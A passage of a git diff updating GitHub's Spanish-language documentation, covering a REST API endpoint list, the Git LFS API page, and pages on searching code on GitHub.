/repos/{owner}/{repo}/autolinks`](/v3/repos#list-autolinks) +- [`POST /repos/{owner}/{repo}/autolinks`](/v3/repos#create-an-autolink) +- [`GET /repos/{owner}/{repo}/autolinks/{autolink_id}`](/v3/repos#get-autolink) +- [`DELETE /repos/{owner}/{repo}/autolinks/{autolink_id}`](/v3/repos#delete-autolink) +- [`PUT /repos/{owner}/{repo}/automated-security-fixes`](/rest/reference/repos#enable-automated-security-fixes) +- [`DELETE /repos/{owner}/{repo}/automated-security-fixes`](/rest/reference/repos#disable-automated-security-fixes) +- [`GET /repos/{owner}/{repo}/branches`](/rest/reference/repos#list-branches) +- [`POST /repos/{owner}/{repo}/merge-upstream`](/rest/reference/repos#sync-a-fork-branch-with-the-upstream-repository) +- [`POST /repos/{owner}/{repo}/merges`](/rest/reference/repos#merge-a-branch) +- [`POST /repos/{owner}/{repo}/dispatches`](/rest/reference/repos#create-a-repository-dispatch-event) +- [`GET /repos/{owner}/{repo}/keys`](/rest/reference/repos#list-deploy-keys) +- [`POST /repos/{owner}/{repo}/keys`](/rest/reference/repos#create-a-deploy-key) +- [`GET /repos/{owner}/{repo}/keys/{key_id}`](/rest/reference/repos#get-a-deploy-key) +- [`DELETE /repos/{owner}/{repo}/keys/{key_id}`](/rest/reference/repos#delete-a-deploy-key) +- [`PUT /repos/{owner}/{repo}/lfs`](/rest/reference/repos#enable-git-lfs-for-a-repository) +- [`DELETE /repos/{owner}/{repo}/lfs`](/rest/reference/repos#disable-git-lfs-for-a-repository) +- [`GET /repos/{owner}/{repo}/releases`](/rest/reference/repos#list-releases) +- [`POST /repos/{owner}/{repo}/releases`](/rest/reference/repos#create-a-release) +- [`GET /repos/{owner}/{repo}/releases/{release_id}`](/rest/reference/repos#get-a-release) +- [`PATCH /repos/{owner}/{repo}/releases/{release_id}`](/rest/reference/repos#update-a-release) +- [`DELETE /repos/{owner}/{repo}/releases/{release_id}`](/rest/reference/repos#delete-a-release) +- [`GET /repos/{owner}/{repo}/releases/{release_id}/assets`](/rest/reference/repos#list-release-assets) +- [`GET /repos/{owner}/{repo}/releases/assets/{asset_id}`](/rest/reference/repos#get-a-release-asset) +- [`PATCH /repos/{owner}/{repo}/releases/assets/{asset_id}`](/rest/reference/repos#update-a-release-asset) +- [`DELETE /repos/{owner}/{repo}/releases/assets/{asset_id}`](/rest/reference/repos#delete-a-release-asset) +- [`POST /repos/{owner}/{repo}/releases/generate-notes`](/rest/reference/repos#generate-release-notes) +- [`GET /repos/{owner}/{repo}/releases/latest`](/rest/reference/repos#get-the-latest-release) +- [`GET /repos/{owner}/{repo}/tags/protection`](/rest/reference/repos#list-tag-protection-state-of-a-repository) +- [`POST /repos/{owner}/{repo}/tags/protection`](/rest/reference/repos#create-tag-protection-state-for-a-repository) +- [`DELETE /repos/{owner}/{repo}/tags/protection/{tag_protection_id}`](/rest/reference/repos#delete-tag-protection-state-for-a-repository) +- [`GET /repos/{owner}/{repo}/vulnerability-alerts`](/rest/reference/repos#check-if-vulnerability-alerts-are-enabled-for-a-repository) +- [`PUT /repos/{owner}/{repo}/vulnerability-alerts`](/rest/reference/repos#enable-vulnerability-alerts) +- [`DELETE /repos/{owner}/{repo}/vulnerability-alerts`](/rest/reference/repos#disable-vulnerability-alerts) +- [`GET /repos/{owner}/{repo}/topics`](/rest/reference/repos#get-all-repository-topics) +- [`PUT /repos/{owner}/{repo}/topics`](/rest/reference/repos#replace-all-repository-topics) + +## paquetes Bower + +- [`GET /search/code`](/rest/reference/search#search-code) +- [`GET /search/commits`](/rest/reference/search#search-commits) +- [`GET /search/issues`](/rest/reference/search#search-issues-and-pull-requests) +- [`GET /search/labels`](/rest/reference/search#search-labels) +- [`GET /search/repositories`](/rest/reference/search#search-repositories) +- [`GET /search/topics`](/rest/reference/search#search-topics) +- [`GET /search/users`](/rest/reference/search#search-users) + +## secret-scanning + +- [`GET /enterprises/{enterprise}/secret-scanning/alerts`](/rest/reference/secret-scanning#list-secret-scanning-alerts-for-an-enterprise) +- [`GET /orgs/{org}/secret-scanning/alerts`](/rest/reference/secret-scanning#list-secret-scanning-alerts-for-an-organization) +- [`GET /repos/{owner}/{repo}/secret-scanning/alerts`](/rest/reference/secret-scanning#list-secret-scanning-alerts-for-a-repository) +- [`GET /repos/{owner}/{repo}/secret-scanning/alerts/{alert_number}`](/rest/reference/secret-scanning#get-a-secret-scanning-alert) +- [`PATCH /repos/{owner}/{repo}/secret-scanning/alerts/{alert_number}`](/rest/reference/secret-scanning#update-a-secret-scanning-alert) +- [`GET /repos/{owner}/{repo}/secret-scanning/alerts/{alert_number}/locations`](/rest/reference/secret-scanning#list-locations-for-a-secret-scanning-alert) + +## equipos +{% ifversion ghec %} +- [`PATCH /orgs/{org}/teams/{team_slug}/external-groups`](/rest/reference/teams#link-external-idp-group-team-connection){% endif %}{% ifversion ghec %} +- [`DELETE /orgs/{org}/teams/{team_slug}/external-groups`](/rest/reference/teams#unlink-external-idp-group-team-connection){% endif %}{% ifversion ghec %} +- [`GET /orgs/{org}/external-group/{group_id}`](/rest/reference/teams#external-idp-group-info-for-an-organization){% endif %}{% ifversion ghec %} +- [`GET /orgs/{org}/external-groups`](/rest/reference/teams#list-external-idp-groups-for-an-organization){% endif %} +- [`GET /orgs/{org}/teams/{team_slug}/projects`](/rest/reference/teams#list-team-projects) +- [`GET /orgs/{org}/teams/{team_slug}/projects/{project_id}`](/rest/reference/teams#check-team-permissions-for-a-project) +- [`PUT /orgs/{org}/teams/{team_slug}/projects/{project_id}`](/rest/reference/teams#add-or-update-team-project-permissions) +- [`DELETE /orgs/{org}/teams/{team_slug}/projects/{project_id}`](/rest/reference/teams#remove-a-project-from-a-team) +- [`GET /orgs/{org}/teams/{team_slug}/repos`](/rest/reference/teams#list-team-repositories) +- [`GET /orgs/{org}/teams/{team_slug}/repos/{owner}/{repo}`](/rest/reference/teams/#check-team-permissions-for-a-repository) +- [`PUT /orgs/{org}/teams/{team_slug}/repos/{owner}/{repo}`](/rest/reference/teams/#add-or-update-team-repository-permissions) +- [`DELETE /orgs/{org}/teams/{team_slug}/repos/{owner}/{repo}`](/rest/reference/teams/#remove-a-repository-from-a-team) +- [`PATCH /orgs/{org}/teams/{team_slug}`](/rest/reference/teams#update-a-team) +- [`DELETE /orgs/{org}/teams/{team_slug}`](/rest/reference/teams#delete-a-team) +- [`GET /orgs/{org}/teams/{team_slug}/invitations`](/rest/reference/teams#list-pending-team-invitations) +- [`GET /orgs/{org}/teams/{team_slug}/members`](/rest/reference/teams#list-team-members) +- [`GET /orgs/{org}/teams/{team_slug}/memberships/{username}`](/rest/reference/teams#get-team-membership-for-a-user) +- [`PUT /orgs/{org}/teams/{team_slug}/memberships/{username}`](/rest/reference/teams#add-or-update-team-membership-for-a-user) +- [`DELETE /orgs/{org}/teams/{team_slug}/memberships/{username}`](/rest/reference/teams#remove-team-membership-for-a-user) +- [`GET /orgs/{org}/teams/{team_slug}/teams`](/rest/reference/teams#list-child-teams) +- [`GET /orgs/{org}/teams/{team_slug}`](/rest/reference/teams#get-a-team-by-name) +- [`GET /orgs/{org}/teams`](/rest/reference/teams#list-teams) +- [`POST /orgs/{org}/teams`](/rest/reference/teams#create-a-team) +- [`GET /user/teams`](/rest/reference/teams#list-teams-for-the-authenticated-user) +- [`GET /orgs/{org}/teams/{team_slug}/discussions`](/rest/reference/teams#list-discussions) +- [`POST /orgs/{org}/teams/{team_slug}/discussions`](/rest/reference/teams#create-a-discussion) +- [`GET /orgs/{org}/teams/{team_slug}/discussions/{discussion_number}`](/rest/reference/teams#get-a-discussion) +- [`PATCH /orgs/{org}/teams/{team_slug}/discussions/{discussion_number}`](/rest/reference/teams#update-a-discussion) +- [`DELETE /orgs/{org}/teams/{team_slug}/discussions/{discussion_number}`](/rest/reference/teams#delete-a-discussion) +- [`GET /orgs/{org}/teams/{team_slug}/discussions/{discussion_number}/comments`](/rest/reference/teams#list-discussion-comments) +- [`POST /orgs/{org}/teams/{team_slug}/discussions/{discussion_number}/comments`](/rest/reference/teams#create-a-discussion-comment) +- [`GET /orgs/{org}/teams/{team_slug}/discussions/{discussion_number}/comments/{comment_number}`](/rest/reference/teams#get-a-discussion-comment) +- [`PATCH /orgs/{org}/teams/{team_slug}/discussions/{discussion_number}/comments/{comment_number}`](/rest/reference/teams#update-a-discussion-comment) +- [`DELETE /orgs/{org}/teams/{team_slug}/discussions/{discussion_number}/comments/{comment_number}`](/rest/reference/teams#delete-a-discussion-comment) + +## users + +- [`GET /user/blocks`](/rest/reference/users#list-users-blocked-by-the-authenticated-user) +- [`GET /user/blocks/{username}`](/rest/reference/users#check-if-a-user-is-blocked-by-the-authenticated-user) +- [`PUT /user/blocks/{username}`](/rest/reference/users#block-a-user) +- [`DELETE /user/blocks/{username}`](/rest/reference/users#unblock-a-user) +- [`PATCH /user/email/visibility`](/rest/reference/users#set-primary-email-visibility-for-the-authenticated-user) +- [`GET /user/emails`](/rest/reference/users#list-email-addresses-for-the-authenticated-user) +- [`POST /user/emails`](/rest/reference/users#add-an-email-address-for-the-authenticated-user) +- [`DELETE /user/emails`](/rest/reference/users#delete-an-email-address-for-the-authenticated-user) +- [`GET /user/public_emails`](/rest/reference/users#list-public-email-addresses-for-the-authenticated-user) +- [`GET /users/{username}/followers`](/rest/reference/users#list-followers-of-a-user) +- [`GET /users/{username}/following`](/rest/reference/users#list-the-people-a-user-follows) +- [`GET /users/{username}/following/{target_user}`](/rest/reference/users#check-if-a-user-follows-another-user) +- [`GET /user/followers`](/rest/reference/users#list-followers-of-the-authenticated-user) +- [`GET /user/following`](/rest/reference/users#list-the-people-the-authenticated-user-follows) +- [`GET /user/following/{username}`](/rest/reference/users#check-if-a-person-is-followed-by-the-authenticated-user) +- [`PUT /user/following/{username}`](/rest/reference/users#follow-a-user) +- [`DELETE /user/following/{username}`](/rest/reference/users#unfollow-a-user) +- [`GET /users/{username}/gpg_keys`](/rest/reference/users#list-gpg-keys-for-a-user) +- [`GET /user/gpg_keys`](/rest/reference/users#list-gpg-keys-for-the-authenticated-user) +- [`POST /user/gpg_keys`](/rest/reference/users#create-a-gpg-key-for-the-authenticated-user) +- [`GET /user/gpg_keys/{gpg_key_id}`](/rest/reference/users#get-a-gpg-key-for-the-authenticated-user) +- [`DELETE /user/gpg_keys/{gpg_key_id}`](/rest/reference/users#delete-a-gpg-key-for-the-authenticated-user) +- [`GET /users/{username}/hovercard`](/rest/reference/users#get-contextual-information-for-a-user) +- [`GET /users/{username}/keys`](/rest/reference/users#list-public-keys-for-a-user) +- [`GET /user/keys`](/rest/reference/users#list-public-ssh-keys-for-the-authenticated-user) +- [`POST /user/keys`](/rest/reference/users#create-a-public-ssh-key-for-the-authenticated-user) +- [`GET /user/keys/{key_id}`](/rest/reference/users#get-a-public-ssh-key-for-the-authenticated-user) +- [`DELETE /user/keys/{key_id}`](/rest/reference/users#delete-a-public-ssh-key-for-the-authenticated-user) +- [`GET /users/{username}/ssh_signing_keys`](/rest/reference/users#list-ssh-signing-keys-for-a-user) +- [`GET /user/ssh_signing_keys`](/rest/reference/users#list-public-ssh-signing-keys-for-the-authenticated-user) +- [`POST /user/ssh_signing_keys`](/rest/reference/users#create-an-ssh-signing-key-for-the-authenticated-user) +- [`GET /user/ssh_signing_keys/{ssh_signing_key_id}`](/rest/reference/users#get-a-ssh-signing-key-for-the-authenticated-user) +- [`DELETE /user/ssh_signing_keys/{ssh_signing_key_id}`](/rest/reference/users#delete-a-ssh-signing-key-for-the-authenticated-user) +- [`GET /user`](/rest/reference/users#get-the-authenticated-user) +- [`PATCH /user`](/rest/reference/users/#update-the-authenticated-user) +- [`GET /users/{username}`](/rest/reference/users#get-a-user) +- [`GET /users`](/rest/reference/users#list-users) + +## webhooks + +- [`GET /repos/{owner}/{repo}/hooks`](/rest/webhooks/repos#list-repository-webhooks) +- [`POST /repos/{owner}/{repo}/hooks`](/rest/webhooks/repos#create-a-repository-webhook) +- [`GET /repos/{owner}/{repo}/hooks/{hook_id}`](/rest/webhooks/repos#get-a-repository-webhook) +- [`PATCH /repos/{owner}/{repo}/hooks/{hook_id}`](/rest/webhooks/repos#update-a-repository-webhook) +- [`DELETE /repos/{owner}/{repo}/hooks/{hook_id}`](/rest/webhooks/repos#delete-a-repository-webhook) +- [`GET /repos/{owner}/{repo}/hooks/{hook_id}/config`](/rest/webhooks/repo-config#get-a-webhook-configuration-for-a-repository) +- [`PATCH /repos/{owner}/{repo}/hooks/{hook_id}/config`](/rest/webhooks/repo-config#update-a-webhook-configuration-for-a-repository) +- [`GET /repos/{owner}/{repo}/hooks/{hook_id}/deliveries`](/rest/webhooks/repo-deliveries#list-deliveries-for-a-repository-webhook) +- [`GET /repos/{owner}/{repo}/hooks/{hook_id}/deliveries/{delivery_id}`](/rest/webhooks/repo-deliveries#get-a-delivery-for-a-repository-webhook) +- [`POST /repos/{owner}/{repo}/hooks/{hook_id}/deliveries/{delivery_id}/attempts`](/rest/webhooks/repo-deliveries#redeliver-a-delivery-for-a-repository-webhook) +- [`POST /repos/{owner}/{repo}/hooks/{hook_id}/pings`](/rest/webhooks/repos#ping-a-repository-webhook) +- [`POST /repos/{owner}/{repo}/hooks/{hook_id}/tests`](/rest/webhooks/repos#test-the-push-repository-webhook) diff --git a/translations/es-ES/content/rest/repos/lfs.md b/translations/es-ES/content/rest/repos/lfs.md index a402c744c9..0c320f0a00 100644 --- a/translations/es-ES/content/rest/repos/lfs.md +++ b/translations/es-ES/content/rest/repos/lfs.md @@ -1,6 +1,6 @@ --- title: Git LFS -intro: 'You can enable or disable {% data variables.large_files.product_name_long %} (LFS) for a repository.' +intro: 'Puedes habilitar o deshabilitar {% data variables.large_files.product_name_long %} (LFS) para un repositorio.' versions: fpt: '*' ghes: '*' @@ -10,27 +10,32 @@ topics: - API miniTocMaxHeadingLevel: 3 allowTitleToDifferFromFilename: true +ms.openlocfilehash: e8a08167bb966b1dd397d8cfa7b4a9e9952946ca +ms.sourcegitcommit: f638d569cd4f0dd6d0fb967818267992c0499110 +ms.translationtype: HT +ms.contentlocale: es-ES +ms.lasthandoff: 10/25/2022 +ms.locfileid: '148110128' --- +## Acerca de la API de {% data variables.large_files.product_name_short %} -## About the {% data variables.large_files.product_name_short %} API +Puedes usar {% data variables.large_files.product_name_short %} para almacenar archivos de gran tamaño en un repositorio de Git. La API de {% data variables.large_files.product_name_short %} permite habilitar o deshabilitar la característica para un repositorio individual. Para obtener más información sobre {% data variables.large_files.product_name_short %}, consulta "[Acerca de {% data variables.large_files.product_name_short %}](/repositories/working-with-files/managing-large-files/about-git-large-file-storage)". -You can use {% data variables.large_files.product_name_short %} to store large files in a Git repository. The {% data variables.large_files.product_name_short %} API allows you to enable or disable the feature for an individual repository. For more information about {% data variables.large_files.product_name_short %}, see "[About {% data variables.large_files.product_name_short %}](/repositories/working-with-files/managing-large-files/about-git-large-file-storage)." - -People with admin access to a repository can use the {% data variables.large_files.product_name_short %} API. +Las personas con acceso de administrador a un repositorio pueden usar la API de {% data variables.large_files.product_name_short %}. {% ifversion fpt or ghec %} -Usage of {% data variables.large_files.product_name_short %} is subject to billing. For more information, see "[About billing for {% data variables.large_files.product_name_long %}](/billing/managing-billing-for-git-large-file-storage/about-billing-for-git-large-file-storage)." +El uso de {% data variables.large_files.product_name_short %} está sujeto a facturación. Para más información, vea "[Acerca de la facturación para {% data variables.large_files.product_name_long %}](/billing/managing-billing-for-git-large-file-storage/about-billing-for-git-large-file-storage)". -If you want to use the {% data variables.large_files.product_name_short %} API for a repository that belongs to an organization, your role must provide you with access to the organization's{% ifversion ghec %} or enterprise's{% endif %} billing.{% ifversion fpt %} For more information, see "[Roles in an organization](/organizations/managing-peoples-access-to-your-organization-with-roles/roles-in-an-organization#organization-owners)."{% endif %} +Si quieres usar la API de {% data variables.large_files.product_name_short %} para un repositorio que pertenece a una organización, el rol debe proporcionarte acceso a la facturación de la organización{% ifversion ghec %} o la empresa{% endif %}.{% ifversion fpt %} Para obtener más información, consulta "[Roles en una organización](/organizations/managing-peoples-access-to-your-organization-with-roles/roles-in-an-organization#organization-owners)".{% endif %} {% ifversion ghec %} -| Repository ownership | Required repository access | Required role | More information | +| Propiedad del repositorio | Acceso requerido al repositorio | Rol necesario | Más información | | :- | :- | :- | :- | -| Personal account | Admin | N/A | N/A | -|
  • Organization on {% data variables.product.prodname_team %}
  • Organization on {% data variables.product.product_name %}, but not in an enterprise
| Admin, which is inherited if you are an organization owner | Organization owner or billing manager | "[Roles in an organization](/organizations/managing-peoples-access-to-your-organization-with-roles/roles-in-an-organization#organization-owners)" | -| Organization in an enterprise | Admin, which can be inherited if you are an organization owner | Enterprise owner or billing manager | "[Roles in an enterprise](/admin/user-management/managing-users-in-your-enterprise/roles-in-an-enterprise#enterprise-owners)" | +| Cuenta personal | Administración | N/D | N/D | +|
  • Organización en {% data variables.product.prodname_team %}
  • Organización en {% data variables.product.product_name %}, pero no en una empresa
| Administrador, que se hereda si eres propietario de la organización | Propietario de la organización o gerente de facturación | "[Roles en una organización](/organizations/managing-peoples-access-to-your-organization-with-roles/roles-in-an-organization#organization-owners)" | +| Organización en una empresa | Administrador, que se puede heredar si eres propietario de la organización | Propietario de la empresa o gerente de facturación | "[Roles en una empresa](/admin/user-management/managing-users-in-your-enterprise/roles-in-an-enterprise#enterprise-owners)" | {% endif %} diff --git a/translations/es-ES/content/search-github/getting-started-with-searching-on-github/about-searching-on-github.md b/translations/es-ES/content/search-github/getting-started-with-searching-on-github/about-searching-on-github.md index 503c7cbd7a..86af4520c6 100644 --- a/translations/es-ES/content/search-github/getting-started-with-searching-on-github/about-searching-on-github.md +++ b/translations/es-ES/content/search-github/getting-started-with-searching-on-github/about-searching-on-github.md @@ -18,6 +18,15 @@ versions: topics: - GitHub search --- + +{% ifversion github-code-search %} + {% note %} + + **Note:** {% data reusables.search.classic-search-code-search-note %} + + {% endnote %} +{% endif %} + {% data reusables.search.you-can-search-globally %} - To search globally across all of {% data variables.product.product_name %}, type what you're looking for into the search field at the top of any page, and choose "All {% data variables.product.prodname_dotcom %}" in the search drop-down menu. diff --git a/translations/es-ES/content/search-github/index.md b/translations/es-ES/content/search-github/index.md index e656b205ac..1ad127f679 100644 --- a/translations/es-ES/content/search-github/index.md +++ b/translations/es-ES/content/search-github/index.md @@ -10,6 +10,7 @@ featuredLinks: - /search-github/searching-on-github/searching-for-repositories - /search-github/searching-on-github/searching-commits popular: + - /search-github/github-code-search/about-github-code-search - /search-github/getting-started-with-searching-on-github/understanding-the-search-syntax - /search-github/searching-on-github/searching-users - /search-github/searching-on-github/finding-files-on-github @@ -36,12 +37,13 @@ topics: children: - /getting-started-with-searching-on-github - /searching-on-github + - /github-code-search shortTitle: Search on GitHub -ms.openlocfilehash: ca3fe13d3d3ae3c5016948bcd458d636a106a9da -ms.sourcegitcommit: fb047f9450b41b24afc43d9512a5db2a2b750a2a +ms.openlocfilehash: 3914612c6bfc1250b38d11a31123f0dca7ff42c6 +ms.sourcegitcommit: e8c012864f13f9146e53fcb0699e2928c949ffa8 ms.translationtype: HT ms.contentlocale: es-ES -ms.lasthandoff: 09/11/2022 -ms.locfileid: '145118922' +ms.lasthandoff: 11/09/2022 +ms.locfileid: '148160331' --- diff --git a/translations/es-ES/content/search-github/searching-on-github/searching-code.md b/translations/es-ES/content/search-github/searching-on-github/searching-code.md index 6fedf47969..3ac136a456 100644 --- a/translations/es-ES/content/search-github/searching-on-github/searching-code.md +++ b/translations/es-ES/content/search-github/searching-on-github/searching-code.md @@ -1,6 +1,6 @@ --- -title: Código de búsqueda -intro: 'Puedes buscar código en {% data variables.product.product_name %} y acotar los resultados utilizando estos calificadores de búsqueda de código en cualquier combinación.' +title: Searching code +intro: 'You can search for code on {% data variables.product.product_name %} and narrow the results using these code search qualifiers in any combination.' redirect_from: - /articles/searching-code - /github/searching-for-information-on-github/searching-files-in-a-repository-for-exact-matches @@ -14,105 +14,108 @@ versions: ghec: '*' topics: - GitHub search -ms.openlocfilehash: 52b88aee79dd9597b64bee803c1b8e42760533f3 -ms.sourcegitcommit: fcf3546b7cc208155fb8acdf68b81be28afc3d2d -ms.translationtype: HT -ms.contentlocale: es-ES -ms.lasthandoff: 09/10/2022 -ms.locfileid: '145118913' --- -{% data reusables.search.you-can-search-globally %} Para obtener más información, vea "[Acerca de la búsqueda en GitHub](/search-github/getting-started-with-searching-on-github/about-searching-on-github)". -Únicamente puedes buscar código utilizando estos calificadores de búsqueda de código. Los calificadores de búsqueda especialmente para repositorios, usuarios o confirmaciones de cambios, no funcionarán cuando busques código. +{% ifversion github-code-search %} + {% note %} + + **Note:** {% data reusables.search.classic-search-code-search-note %} + + {% endnote %} +{% endif %} + +{% data reusables.search.you-can-search-globally %} For more information, see "[About searching on GitHub](/search-github/getting-started-with-searching-on-github/about-searching-on-github)." + +You can only search code using these code search qualifiers. Search qualifiers specifically for repositories, users, or commits, will not work when searching for code. {% data reusables.search.syntax_tips %} -## Consideraciones para la búsqueda de código +## Considerations for code search -Debido a la complejidad de la búsqueda de código, hay algunas restricciones sobre cómo se realizan las búsquedas: +Due to the complexity of searching code, there are some restrictions on how searches are performed: {% ifversion fpt or ghes or ghec %} - {% data reusables.search.required_login %}{% endif %} -- El código en las [bifurcaciones](/pull-requests/collaborating-with-pull-requests/working-with-forks/about-forks) solo se puede buscar si estas tienen más estrellas que el repositorio primario. Las bifurcaciones con menos estrellas que el repositorio primario **no** se indexan para la búsqueda de código. Para incluir bifurcaciones con más estrellas que sus elementos primarios en los resultados de búsqueda, deberá agregar `fork:true` o `fork:only` a la consulta. Para obtener más información, vea "[Buscar en bifurcaciones](/search-github/searching-on-github/searching-in-forks)". -- Para la búsqueda de código solo se indexa la _rama predeterminada_.{% ifversion fpt or ghec %} -- Solo los archivos menores de 384 KB son indexados.{% else %}* Solo los archivos menores de 5 MB son indexados. -- Solo los primeros 500 KB de cada archivo son indexados.{% endif %} -- Se pueden buscar hasta 4000 repositorios privados{% ifversion ghec or ghes or ghae %} e internos{% endif %}. Estos 4000 repositorios serán los que se han actualizado más recientemente de los primeros 10 000 repositorios privados{% ifversion ghec or ghes or ghae %} e internos{% endif %} a los que tienes acceso. -- Solo se pueden buscar repositorios con menos de 500 000 archivos.{% ifversion fpt or ghec %} -- Solo se pueden hacer búsquedas en los repositorios que han tenido actividad o que se han devuelto en los resultados de búsqueda dentro del último año.{% endif %} -- Con la excepción de las búsquedas de [`filename`](#search-by-filename), siempre debe incluir por lo menos un término de búsqueda cuando busque en el código fuente. Por ejemplo, la búsqueda de [`language:javascript`](https://github.com/search?utf8=%E2%9C%93&q=language%3Ajavascript&type=Code&ref=searchresults) no es válida, mientras que la de [`amazing language:javascript`](https://github.com/search?utf8=%E2%9C%93&q=amazing+language%3Ajavascript&type=Code&ref=searchresults) sí lo es. -- A lo sumo, los resultados de búsqueda pueden mostrar dos fragmentos del mismo archivo, pero puede haber más resultados dentro del archivo. -- No puede utilizar los siguientes caracteres comodines como parte de la consulta de búsqueda: . , : ; / \ ` ' " = * ! ? # $ & + ^ | ~ < > ( ) { } [ ] @. La búsqueda simplemente ignorará estos símbolos. +- Code in [forks](/pull-requests/collaborating-with-pull-requests/working-with-forks/about-forks) is only searchable if the fork has more stars than the parent repository. Forks with fewer stars than the parent repository are **not** indexed for code search. To include forks with more stars than their parent in the search results, you will need to add `fork:true` or `fork:only` to your query. For more information, see "[Searching in forks](/search-github/searching-on-github/searching-in-forks)." +- Only the _default branch_ is indexed for code search.{% ifversion fpt or ghec %} +- Only files smaller than 384 KB are searchable.{% else %}* Only files smaller than 5 MB are searchable. +- Only the first 500 KB of each file is searchable.{% endif %} +- Up to 4,000 private{% ifversion ghec or ghes or ghae %} and internal{% endif %} repositories are searchable. These 4,000 repositories will be the most recently updated of the first 10,000 private{% ifversion ghec or ghes or ghae %} and internal{% endif %} repositories that you have access to. +- Only repositories with fewer than 500,000 files are searchable.{% ifversion fpt or ghec %} +- Only repositories that have had activity or have been returned in search results in the last year are searchable.{% endif %} +- Except with [`filename`](#search-by-filename) searches, you must always include at least one search term when searching source code. For example, searching for [`language:javascript`](https://github.com/search?utf8=%E2%9C%93&q=language%3Ajavascript&type=Code&ref=searchresults) is not valid, while [`amazing language:javascript`](https://github.com/search?utf8=%E2%9C%93&q=amazing+language%3Ajavascript&type=Code&ref=searchresults) is. +- At most, search results can show two fragments from the same file, but there may be more results within the file. +- You can't use the following wildcard characters as part of your search query: . , : ; / \ ` ' " = * ! ? # $ & + ^ | ~ < > ( ) { } [ ] @. The search will simply ignore these symbols. -## Buscar según los contenidos del archivo o la ruta de archivo +## Search by the file contents or file path -Con el calificador `in` puede restringir la búsqueda a los contenidos del archivo del código fuente, de la ruta del archivo o de ambos. Cuando omites este calificador, únicamente se busca el contenido del archivo. +With the `in` qualifier you can restrict your search to the contents of the source code file, the file path, or both. When you omit this qualifier, only the file contents are searched. -| Calificador: | Ejemplo +| Qualifier | Example | ------------- | ------------- -| `in:file` | [**octocat in:file**](https://github.com/search?q=octocat+in%3Afile&type=Code) coincide con el código donde "octocat" aparece en el contenido del archivo. -| `in:path` | [**octocat in:path**](https://github.com/search?q=octocat+in%3Apath&type=Code) coincide con el código donde "octocat" aparece en el contenido de la ruta de acceso. -| | [**octocat in:file, path**](https://github.com/search?q=octocat+in%3Afile%2Cpath&type=Code) coincide con el código donde "octocat" aparece en el contenido del archivo o de la ruta de acceso del archivo. +| `in:file` | [**octocat in:file**](https://github.com/search?q=octocat+in%3Afile&type=Code) matches code where "octocat" appears in the file contents. +| `in:path` | [**octocat in:path**](https://github.com/search?q=octocat+in%3Apath&type=Code) matches code where "octocat" appears in the file path. +| | [**octocat in:file,path**](https://github.com/search?q=octocat+in%3Afile%2Cpath&type=Code) matches code where "octocat" appears in the file contents or the file path. -## Buscar dentro de los repositorios de un usuario u organización +## Search within a user's or organization's repositories -Para buscar el código en todos los repositorios que son propiedad de una determinada organización o usuario, puede utilizar el calificador `user` o `org`. Para buscar el código en un repositorio específico, puede utilizar el calificador `repo`. +To search the code in all repositories owned by a certain user or organization, you can use the `user` or `org` qualifier. To search the code in a specific repository, you can use the `repo` qualifier. -| Calificador: | Ejemplo +| Qualifier | Example | ------------- | ------------- -| user:USERNAME | [**user:defunkt extension:rb**](https://github.com/search?q=user%3Agithub+extension%3Arb&type=Code) coincide con el código de @defunkt que termina en .rb. -| org:ORGNAME |[**org:github extension:js**](https://github.com/search?utf8=%E2%9C%93&q=org%3Agithub+extension%3Ajs&type=Code) coincide con el código de GitHub que termina en .js. -| repo:USERNAME/REPOSITORY | [**repo:mozilla/shumway extension:as**](https://github.com/search?q=repo%3Amozilla%2Fshumway+extension%3Aas&type=Code) coincide con el código del proyecto shumway de @mozilla que termina en .as. +| user:USERNAME | [**user:defunkt extension:rb**](https://github.com/search?q=user%3Agithub+extension%3Arb&type=Code) matches code from @defunkt that ends in .rb. +| org:ORGNAME |[**org:github extension:js**](https://github.com/search?utf8=%E2%9C%93&q=org%3Agithub+extension%3Ajs&type=Code) matches code from GitHub that ends in .js. +| repo:USERNAME/REPOSITORY | [**repo:mozilla/shumway extension:as**](https://github.com/search?q=repo%3Amozilla%2Fshumway+extension%3Aas&type=Code) matches code from @mozilla's shumway project that ends in .as. -## Buscar por ubicación del archivo +## Search by file location -Puede utilizar el calificador `path` para buscar el código fuente que aparece en una ubicación específica en un repositorio. Utilice `path:/` para buscar archivos que se encuentren en el nivel raíz de un repositorio. O especifica un nombre de directorio o ruta a un directorio para buscar archivos que estén ubicados dentro de ese directorio o alguno de sus subdirectorios. +You can use the `path` qualifier to search for source code that appears at a specific location in a repository. Use `path:/` to search for files that are located at the root level of a repository. Or specify a directory name or the path to a directory to search for files that are located within that directory or any of its subdirectories. -| Calificador: | Ejemplo +| Qualifier | Example | ------------- | ------------- -| path:/ | [**octocat filename:readme path:/**](https://github.com/search?utf8=%E2%9C%93&q=octocat+filename%3Areadme+path%3A%2F&type=Code) coincide con los archivos _léame_ con la palabra "octocat" que se encuentran en el nivel raíz de un repositorio. -| path:DIRECTORY | [**form path:cgi-bin language:perl**](https://github.com/search?q=form+path%3Acgi-bin+language%3Aperl&type=Code) coincide con los archivos Perl con la palabra "form" en el directorio cgi-bin, o en cualquiera de sus subdirectorios. -| path:PATH/TO/DIRECTORY | [ **`console path:app/public language:javascript`**](https://github.com/search?q=console+path%3A%22app%2Fpublic%22+language%3Ajavascript&type=Code) coincide con los archivos de JavaScript con la palabra "console" en el directorio app/public, o en cualquiera de sus subdirectorios (incluso si están en app/public/js/form-validators). +| path:/ | [**octocat filename:readme path:/**](https://github.com/search?utf8=%E2%9C%93&q=octocat+filename%3Areadme+path%3A%2F&type=Code) matches _readme_ files with the word "octocat" that are located at the root level of a repository. +| path:DIRECTORY | [**form path:cgi-bin language:perl**](https://github.com/search?q=form+path%3Acgi-bin+language%3Aperl&type=Code) matches Perl files with the word "form" in the cgi-bin directory, or in any of its subdirectories. +| path:PATH/TO/DIRECTORY | [**`console path:app/public language:javascript`**](https://github.com/search?q=console+path%3A%22app%2Fpublic%22+language%3Ajavascript&type=Code) matches JavaScript files with the word "console" in the app/public directory, or in any of its subdirectories (even if they reside in app/public/js/form-validators). -## Buscar por lenguaje +## Search by language -Puedes buscar el código basado en el lenguaje en que está escrito. El calificador `language` puede ser el nombre o alias del lenguaje. Para obtener una lista completa de los lenguajes admitidos con sus nombres y alias, vea el [repositorio github/linguist](https://github.com/github/linguist/blob/master/lib/linguist/languages.yml). +You can search for code based on what language it's written in. The `language` qualifier can be the language name or alias. For a full list of supported languages with their names and aliases, see the [github/linguist repository](https://github.com/github/linguist/blob/master/lib/linguist/languages.yml). -| Calificador: | Ejemplo +| Qualifier | 